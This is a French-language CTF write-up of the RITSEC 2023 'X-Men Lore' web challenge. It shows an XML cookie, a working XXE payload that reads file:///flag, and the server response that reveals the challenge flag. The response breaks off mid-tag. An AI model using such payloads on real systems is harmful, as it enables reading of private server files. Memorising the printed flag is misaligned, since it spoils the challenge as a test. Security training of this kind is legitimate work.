XXE Injection : Challenge X-Men Lore du CTF RitSec 2023
Lors du CTF RITSEC 2023, un challenge intitulé “X-Men Lore” s’est concentré sur l’exploitation d’une vulnérabilité XXE pour accéder à des données sensibles.
Analyse Initiale
Le site présentait une interface utilisateur permettant de sélectionner des personnages de la série X-Men. Le décodage des cookies configurés par le serveur a révélé qu’ils contenaient des données XML.
Code Source de la Page d’Accueil
<!DOCTYPE html>
<head>
<title>X-Men Lore</title>
<link rel="stylesheet" href="/static/style.css">
</head>
<body>
<h1>Choose an X-Men Character to Learn More!</h1>
<img src="/static/home.jpg" alt="X-Men Animated Series" />
<br/>
<a href="/xmen">
<button
onclick="document.cookie='xmen=PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz48aW5wdXQ+PHhtZW4+QmVhc3Q8L3htZW4+PC9pbnB1dD4='">
Beast
</button>
</a>
...
</body>
Mécanique d’Exploitation XXE
Le cookie décodé révélait une structure XML simple lorsqu’on choisissait un personnage. En modifiant ce XML, il a été possible de tester pour une potentielle vulnérabilité XXE.
Injection XXE via Cookie Modifié
<?xml version='1.0' encoding='UTF-8'?><input><xmen>Beast</xmen></input>
Soupçonnant une injection XXE, on tente d’exploiter cette vulnérabilité en modifiant le cookie avec un payload XXE :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >
]>
<input>
<xmen>&xxe;</xmen>
</input>
Récupération du Flag
La manipulation du cookie avec le payload XXE a permis d’exfiltrer le flag du serveur, comme le montre le code source suivant :
Réponse du Serveur avec le Flag
<!DOCTYPE html>
<head>
<title>X-Men Lore</title>
<link rel="stylesheet" href="/static/style.css">
</head>
<a href="/"><button>Home</button></a>
<body>
<h1>RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}
</h1>
<img src="/static/RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}
.jpg" alt="RS{XM3N_L0R3?_M0R3_L1K3_XM3N_3XT3RN4L_3NT1TY!}
" />
<br/>
<iframe src="/
Merci d’avoir pris le temps de lire ce writeup. Pour plus de contenu sur la sécurité informatique, continuez à explorer mon blog.